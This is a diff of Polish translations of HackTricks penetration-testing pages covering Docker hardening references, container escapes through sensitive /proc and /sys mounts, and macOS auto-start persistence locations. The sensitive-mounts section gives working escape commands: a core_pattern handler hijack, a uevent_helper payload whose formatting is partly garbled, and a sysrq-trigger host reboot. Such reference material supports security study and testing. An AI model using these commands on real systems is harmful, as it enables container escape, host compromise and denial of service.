+* Narzędzie [**docker-bench-security**](https://github.com/docker/docker-bench-security) to skrypt, który sprawdza dziesiątki powszechnych praktyk dotyczących wdrażania kontenerów Dockera w produkcji. Testy są zautomatyzowane i oparte na [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
+Należy uruchomić narzędzie z hosta uruchamiającego Dockera lub z kontenera z wystarczającymi uprawnieniami. Dowiedz się, **jak go uruchomić w pliku README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Odnośniki
-* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/
+* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
+* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
+* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
+* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/)
+* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
+* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)
+* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/)
+* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
+* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
+* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
+* [https://docs.docker.com/engine/extend/plugins\_authorization](https://docs.docker.com/engine/extend/plugins\_authorization)
+* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
+* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
+
+
+
+\
+Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społeczności na świecie.\
+Zdobądź dostęp już dziś:
+
+{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+
+
+
+Dowiedz się, jak hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
index 1da988f82..ed1381644 100644
--- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@@ -1,149 +1,197 @@
+# Wrażliwe montowania
+
-Dowiedz się, jak hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
+Zacznij od zera i stań się ekspertem od hakowania AWS dziękihtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
+Ujawnienie `/proc` i `/sys` bez odpowiedniej izolacji przestrzeni nazw niesie ze sobą znaczne ryzyko bezpieczeństwa, w tym zwiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które w przypadku niewłaściwej konfiguracji lub dostępu przez nieuprawnionego użytkownika mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczenia informacji ułatwiających dalsze ataki. Na przykład niewłaściwe zamontowanie `-v /proc:/host/proc` może obejść ochronę AppArmor ze względu na swoją ścieżkową naturę, pozostawiając `/host/proc` bez ochrony.
-Wystawienie `/proc` i `/sys` bez odpowiedniej izolacji przestrzeni nazw niesie ze sobą znaczne ryzyko bezpieczeństwa, w tym zwiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które w przypadku niewłaściwej konfiguracji lub dostępu przez nieuprawnionego użytkownika mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczenia informacji ułatwiających dalsze ataki. Na przykład, nieprawidłowe zamontowanie `-v /proc:/host/proc` może obejść ochronę AppArmor ze względu na jej opartą na ścieżce naturę, pozostawiając `/host/proc` bez ochrony.
+**Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej luki w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
-**Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej podatności na stronie [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts).**
+## Zagrożenia związane z procfs
-# Podatności procfs
+### `/proc/sys`
-## `/proc/sys`
-Ten katalog umożliwia dostęp do modyfikacji zmiennych jądra, zwykle za pomocą `sysctl(2)`, i zawiera kilka podkatalogów, które budzą obawy:
+Ten katalog umożliwia dostęp do modyfikacji zmiennych jądra, zazwyczaj za pomocą `sysctl(2)`, i zawiera kilka podkatalogów wymagających uwagi:
+
+#### **`/proc/sys/kernel/core_pattern`**
+
+* Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
+* Pozwala zdefiniować program do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
+* **Przykład testowania i eksploatacji**:
-### **`/proc/sys/kernel/core_pattern`**
-- Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
-- Pozwala zdefiniować program do wykonania przy generowaniu pliku rdzenia, gdzie pierwsze 128 bajtów stanowi argumenty. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
-- **Przykład testowania i eksploatacji**:
```bash
-[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Sprawdź dostęp do zapisu
+[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test dostępu do zapisu
cd /proc/sys/kernel
-echo "|$overlay/shell.sh" > core_pattern # Ustaw niestandardowy obsługiwacz
-sleep 5 && ./crash & # Wywołaj obsługiwacz
+echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługującego
+sleep 5 && ./crash & # Wywołanie obsługującego
```
-### **`/proc/sys/kernel/modprobe`**
-- Szczegółowo opisany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
-- Zawiera ścieżkę do ładowacza modułów jądra, wywoływanego do ładowania modułów jądra.
-- **Przykład sprawdzania dostępu**:
+#### **`/proc/sys/kernel/modprobe`**
+
+* Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+* Zawiera ścieżkę do ładowacza modułów jądra, wywoływanego do ładowania modułów jądra.
+* **Przykład sprawdzania dostępu**:
+
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe
```
-### **`/proc/sys/vm/panic_on_oom`**
-- Wzmiankowany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
-- Globalna flaga kontrolująca, czy jądro wpada w panikę czy wywołuje OOM killer, gdy wystąpi warunek OOM.
+#### **`/proc/sys/vm/panic_on_oom`**
-### **`/proc/sys/fs`**
-- Zgodnie z [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), zawiera opcje i informacje dotyczące systemu plików.
-- Dostęp do zapisu może umożliwić różne ataki typu odmowa usługi przeciwko hostowi.
+* Odniesienie w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+* Globalna flaga kontrolująca, czy jądro wpada w panikę czy wywołuje zabójcę OOM, gdy wystąpi warunek OOM.
-### **`/proc/sys/fs/binfmt_misc`**
-- Umożliwia rejestrację interpreterów dla formatów binarnych niezgodnych z natywnym na podstawie ich magicznej liczby.
-- Może prowadzić do eskalacji uprawnień lub dostępu do powłoki roota, jeśli `/proc/sys/fs/binfmt_misc/register` jest zapisywalny.
-- Odpowiedni exploit i wyjaśnienie:
-- [Rootkit dla biednych za pomocą binfmt_misc](https://github.com/toffan/binfmt_misc)
-- Szczegółowy samouczek: [Link do wideo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
+#### **`/proc/sys/fs`**
-## Inne w `/proc`
+* Zgodnie z [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), zawiera opcje i informacje o systemie plików.
+* Dostęp do zapisu może umożliwić różne ataki typu odmowa usługi przeciwko hostowi.
-### **`/proc/config.gz`**
-- Może ujawnić konfigurację jądra, jeśli `CONFIG_IKCONFIG_PROC` jest włączone.
-- Przydatne dla atakujących do identyfikacji podatności w działającym jądrze.
+#### **`/proc/sys/fs/binfmt_misc`**
+
+* Umożliwia rejestrację interpretów dla formatów binarnych nie-natywnych na podstawie ich numeru magicznego.
+* Może prowadzić do eskalacji uprawnień lub uzyskania dostępu do powłoki root, jeśli `/proc/sys/fs/binfmt_misc/register` jest zapisywalny.
+* Związany exploit i wyjaśnienie:
+* [Rootkit dla biednych poprzez binfmt\_misc](https://github.com/toffan/binfmt\_misc)
+* Wideo tutorial: [Link do wideo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
+
+### Inne w `/proc`
+
+#### **`/proc/config.gz`**
+
+* Może ujawnić konfigurację jądra, jeśli `CONFIG_IKCONFIG_PROC` jest włączony.
+* Przydatne dla atakujących do identyfikacji podatności w działającym jądrze.
+
+#### **`/proc/sysrq-trigger`**
+
+* Umożliwia wywoływanie poleceń Sysrq, potencjalnie powodując natychmiastowe ponowne uruchomienia systemu lub inne krytyczne działania.
+* **Przykład ponownego uruchamiania hosta**:
-### **`/proc/sysrq-trigger`**
-- Umożliwia wywoływanie poleceń Sysrq, potencjalnie powodując natychmiastowe ponowne uruchomienie systemu lub inne krytyczne działania.
-- **Przykład ponownego uruchamiania hosta**:
```bash
echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
```
-### **`/proc/kmsg`**
-- Ujawnia komunikaty z bufora pierścieniowego jądra.
-- Może pomóc w atakach na jądro, wyciekach adresów i dostarczaniu wrażliwych informacji systemowych.
+#### **`/proc/kmsg`**
-### **`/proc/kallsyms`**
-- Wyświetla eksportowane symbole jądra i ich adresy.
-- Niezbędne do rozwoju exploitów jądra, zwłaszcza do pokonania KASLR.
-- Informacje o adresie są ograniczone, gdy `kptr_restrict` jest ustawione na `1` lub `2`.
-- Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+* Ujawnia komunikaty z bufora pierścieniowego jądra.
+* Może pomóc w eksploatacji jądra, wyciekach adresów i dostarczaniu wrażliwych informacji systemowych.
-### **`/proc/[pid]/mem`**
-- Interfejsuje się z urządzeniem pamięci jądra `/dev/mem`.
-- Historycznie podatny na ataki eskalacji uprawnień.
-- Więcej informacji na temat [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+#### **`/proc/kallsyms`**
-### **`/proc/kcore`**
-- Reprezentuje fizyczną pamięć systemu w formacie ELF core.
-- Odczyt może ujawniać zawartość pamięci hosta i innych kontenerów.
-- Duży rozmiar pliku może prowadzić do problemów z odczytem lub awarii oprogramowania.
-- Szczegółowe informacje na temat użycia w [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
+* Wyświetla eksportowane symbole jądra i ich adresy.
+* Istotne dla rozwoju eksploitów jądra, zwłaszcza do pokonywania KASLR.
+* Informacje o adresie są ograniczone, gdy `kptr_restrict` jest ustawione na `1` lub `2`.
+* Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
-### **`/proc/kmem`**
-- Alternatywny interfejs dla `/dev/kmem`, reprezentujący wirtualną pamięć jądra.
-- Umożliwia odczyt i zapis, a więc bezpośrednią modyfikację pamięci jądra.
+#### **`/proc/[pid]/mem`**
-### **`/proc/mem`**
-- Alternatywny interfejs dla `/dev/mem`, reprezentujący pamięć fizyczną.
-- Umożliwia odczyt i zapis, modyfikacja całej pamięci wymaga przeliczenia adresów wirtualnych na fizyczne.
+* Interfejsuje z urządzeniem pamięci jądra `/dev/mem`.
+* Historycznie podatny na ataki eskalacji uprawnień.
+* Więcej na temat [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
-### **`/proc/sched_debug`**
-- Zwraca informacje o harmonogramowaniu procesów, omijając ochrony przestrzeni nazw PID.
-- Ujawnia nazwy procesów, identyfikatory i identyfikatory grupy kontrolnej.
+#### **`/proc/kcore`**
-### **`/proc/[pid]/mountinfo`**
-- Udostępnia informacje o punktach montowania w przestrzeni nazw montowania procesu.
-- Ujawnia lokalizację `rootfs` lub obrazu kontenera.
+* Reprezentuje pamięć fizyczną systemu w formacie rdzenia ELF.
+* Odczytanie może ujawnić zawartość pamięci hosta i innych kontenerów.
+* Duży rozmiar pliku może prowadzić do problemów z odczytem lub awarii oprogramowania.
+* Szczegółowe użycie w [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
-# Podatności w `/sys`
+#### **`/proc/kmem`**
-### **`/sys/kernel/ue
-### **`/sys/class/thermal`**
-- Kontroluje ustawienia temperatury, potencjalnie powodując ataki typu DoS lub fizyczne uszkodzenia.
+* Alternatywny interfejs dla `/dev/kmem`, reprezentujący pamięć wirtualną jądra.
+* Umożliwia odczytywanie i zapisywanie, co umożliwia bezpośrednią modyfikację pamięci jądra.
-### **`/sys/kernel/vmcoreinfo`**
-- Wycieka adresy jądra, potencjalnie kompromitując KASLR.
+#### **`/proc/mem`**
-### **`/sys/kernel/security`**
-- Zawiera interfejs `securityfs`, umożliwiający konfigurację modułów zabezpieczeń Linuxa, takich jak AppArmor.
-- Dostęp może umożliwić kontenerowi wyłączenie systemu MAC.
+* Alternatywny interfejs dla `/dev/mem`, reprezentujący pamięć fizyczną.
+* Umożliwia odczytywanie i zapisywanie, modyfikacja całej pamięci wymaga przekształcenia adresów wirtualnych na fizyczne.
-### **`/sys/firmware/efi/vars` i `/sys/firmware/efi/efivars`**
-- Udostępnia interfejsy do interakcji z zmiennymi EFI w NVRAM.
-- Niewłaściwa konfiguracja lub wykorzystanie może spowodować zablokowanie laptopów lub niemożność uruchomienia hosta.
+#### **`/proc/sched_debug`**
-### **`/sys/kernel/debug`**
-- `debugfs` oferuje interfejs do debugowania jądra bez żadnych ograniczeń.
-- Historia problemów związanych z bezpieczeństwem związana z jego nieograniczoną naturą.
+* Zwraca informacje o harmonogramowaniu procesów, omijając zabezpieczenia przestrzeni nazw PID.
+* Ujawnia nazwy procesów, identyfikatory PID i grupy cgroup.
+#### **`/proc/[pid]/mountinfo`**
+
+* Udostępnia informacje o punktach montowania w przestrzeni nazw montowania procesu.
+* Ujawnia lokalizację `rootfs` kontenera lub obrazu.
+
+### Zagrożenia związane z `/sys`
+
+#### **`/sys/kernel/uevent_helper`**
+
+* Używany do obsługi `uevent` urządzenia jądra.
+* Zapisywanie do `/sys/kernel/uevent_helper` może uruchamiać arbitralne skrypty po wyzwaleniu `uevent`.
+* **Przykład eksploatacji**: %%%bash
+
+## Tworzy ładunek
+
+echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
+
+## Znajduje ścieżkę hosta z montowania OverlayFS dla kontenera
+
+host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
+
+## Ustawia uevent\_helper na złośliwego pomocnika
+
+echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
+
+## Wywołuje uevent
+
+echo change > /sys/class/mem/null/uevent
+
+## Odczytuje wynik
+
+cat /output %%%
+#### **`/sys/class/thermal`**
+
+* Kontroluje ustawienia temperatury, potencjalnie powodując ataki typu DoS lub fizyczne uszkodzenia.
+
+#### **`/sys/kernel/vmcoreinfo`**
+
+* Wycieka adresy jądra, potencjalnie kompromitując KASLR.
+
+#### **`/sys/kernel/security`**
+
+* Zawiera interfejs `securityfs`, umożliwiający konfigurację modułów bezpieczeństwa Linuxa, takich jak AppArmor.
+* Dostęp może umożliwić kontenerowi wyłączenie jego systemu MAC.
+
+#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
+
+* Ujawnia interfejsy do interakcji z zmiennymi EFI w NVRAM.
+* Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożliwości uruchomienia hosta.
+
+#### **`/sys/kernel/debug`**
+
+* `debugfs` oferuje interfejs debugowania "bez zasad" do jądra.
+* Historia problemów związanych z bezpieczeństwem związana z jego nieograniczonym charakterem.
+
+### References
-## References
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
-
Naucz się hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md
index 39080d22b..82b3f5314 100644
--- a/macos-hardening/macos-auto-start-locations.md
+++ b/macos-hardening/macos-auto-start-locations.md
@@ -1,31 +1,31 @@
-# Automatyczne uruchamianie w macOS
+# macOS Auto Start
-Dowiedz się, jak hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
+Naucz się hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
-* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-Ta sekcja opiera się głównie na serii blogów [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), celem jest dodanie **więcej lokalizacji autostartu** (jeśli to możliwe), wskazanie **które techniki wciąż działają** obecnie z najnowszą wersją macOS (13.4) oraz określenie **uprawnień** wymaganych.
+Ta sekcja opiera się głównie na serii blogów [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), celem jest dodanie **więcej lokalizacji autostartu** (jeśli to możliwe), wskazanie **które techniki wciąż działają** obecnie z najnowszą wersją macOS (13.4) i określenie **uprawnień** wymaganych.
-## Ominięcie piaskownicy
+## Omijanie piaskownicy
{% hint style="success" %}
-Tutaj znajdziesz lokalizacje startowe przydatne do **ominięcia piaskownicy**, które pozwalają po prostu uruchomić coś, **zapisując to do pliku** i **czekając** na bardzo **powszechne** **działanie**, określoną **ilość czasu** lub **działanie, które zazwyczaj można wykonać** z wnętrza piaskownicy bez konieczności posiadania uprawnień root.
+Tutaj znajdziesz lokalizacje startowe przydatne do **omijania piaskownicy**, które pozwalają Ci po prostu uruchomić coś, **zapisując to do pliku** i **czekając** na bardzo **czynność** **powszechną**, określoną **ilość czasu** lub **czynność, którą zazwyczaj można wykonać** z wnętrza piaskownicy bez konieczności posiadania uprawnień root.
{% endhint %}
### Launchd
-* Przydatne do ominięcia piaskownicy: [✅](https://emojipedia.org/check-mark-button)
-* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
+* Przydatne do omijania piaskownicy: [✅](https://emojipedia.org/check-mark-button)
+* Omijanie TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Lokalizacje
@@ -48,7 +48,7 @@ Tutaj znajdziesz lokalizacje startowe przydatne do **ominięcia piaskownicy**, k
#### Opis i Wykorzystanie
-**`launchd`** to **pierwszy** **proces** uruchamiany przez jądro OX S podczas uruchamiania i ostatni, który kończy działanie podczas wyłączania. Zawsze powinien mieć **PID 1**. Ten proces będzie **czytał i wykonywał** konfiguracje wskazane w **plikach ASEP** w:
+**`launchd`** to **pierwszy** **proces** uruchamiany przez jądro OX S podczas uruchamiania systemu i ostatni, który kończy działanie podczas wyłączania. Zawsze powinien mieć **PID 1**. Ten proces będzie **czytał i wykonywał** konfiguracje wskazane w **plikach ASEP** w:
* `/Library/LaunchAgents`: Agenci dla użytkownika zainstalowani przez administratora
* `/Library/LaunchDaemons`: Demony systemowe zainstalowane przez administratora
@@ -80,13 +80,13 @@ Gdy użytkownik loguje się, pliki plist znajdujące się w `/Users/$USER/Librar
```
-Istnieją przypadki, w których **agent musi zostać uruchomiony przed zalogowaniem użytkownika**, nazywane **PreLoginAgents**. Na przykład jest to przydatne do zapewnienia technologii wspomagającej podczas logowania. Mogą one być również znalezione w `/Library/LaunchAgents` (zobacz [**tutaj**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) przykład).
+Istnieją przypadki, w których **agent musi zostać uruchomiony przed zalogowaniem użytkownika**, nazywane **PreLoginAgents**. Na przykład jest to przydatne do dostarczania technologii wspomagających podczas logowania. Mogą one być również znalezione w `/Library/LaunchAgents` (zobacz [**tutaj**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) przykład).
{% hint style="info" %}
Nowe pliki konfiguracyjne Daemons lub Agents zostaną **załadowane po następnym ponownym uruchomieniu lub używając** `launchctl load `. Jest **również możliwe załadowanie plików .plist bez tego rozszerzenia** za pomocą `launchctl -F ` (jednak te pliki plist nie będą automatycznie ładowane po ponownym uruchomieniu).\
Możliwe jest również **odładowanie** za pomocą `launchctl unload ` (proces wskazany przez niego zostanie zakończony).
-Aby **upewnić się**, że nie ma **niczego** (jak nadpisanie), **co uniemożliwia uruchomienie** **Agent** lub **Daemon** **uruchom** polecenie: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
+Aby **upewnić się**, że nie ma **niczego** (jak nadpisanie), **co uniemożliwia uruchomienie** **Agenta** lub **Daemona**, uruchom: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
{% endhint %}
Wypisz wszystkie agenty i demony załadowane przez bieżącego użytkownika:
@@ -109,24 +109,24 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
#### Lokalizacje
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
-* **Wywołanie**: Otwórz terminal z zsh
+* **Wyzwalacz**: Otwórz terminal z zsh
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
-* **Wywołanie**: Otwórz terminal z zsh
+* **Wyzwalacz**: Otwórz terminal z zsh
* Wymagane uprawnienia roota
* **`~/.zlogout`**
-* **Wywołanie**: Zamknij terminal z zsh
+* **Wyzwalacz**: Zamknij terminal z zsh
* **`/etc/zlogout`**
-* **Wywołanie**: Zamknij terminal z zsh
+* **Wyzwalacz**: Zamknij terminal z zsh
* Wymagane uprawnienia roota
* Potencjalnie więcej w: **`man zsh`**
* **`~/.bashrc`**
-* **Wywołanie**: Otwórz terminal z bash
+* **Wyzwalacz**: Otwórz terminal z bash
* `/etc/profile` (nie działało)
* `~/.profile` (nie działało)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
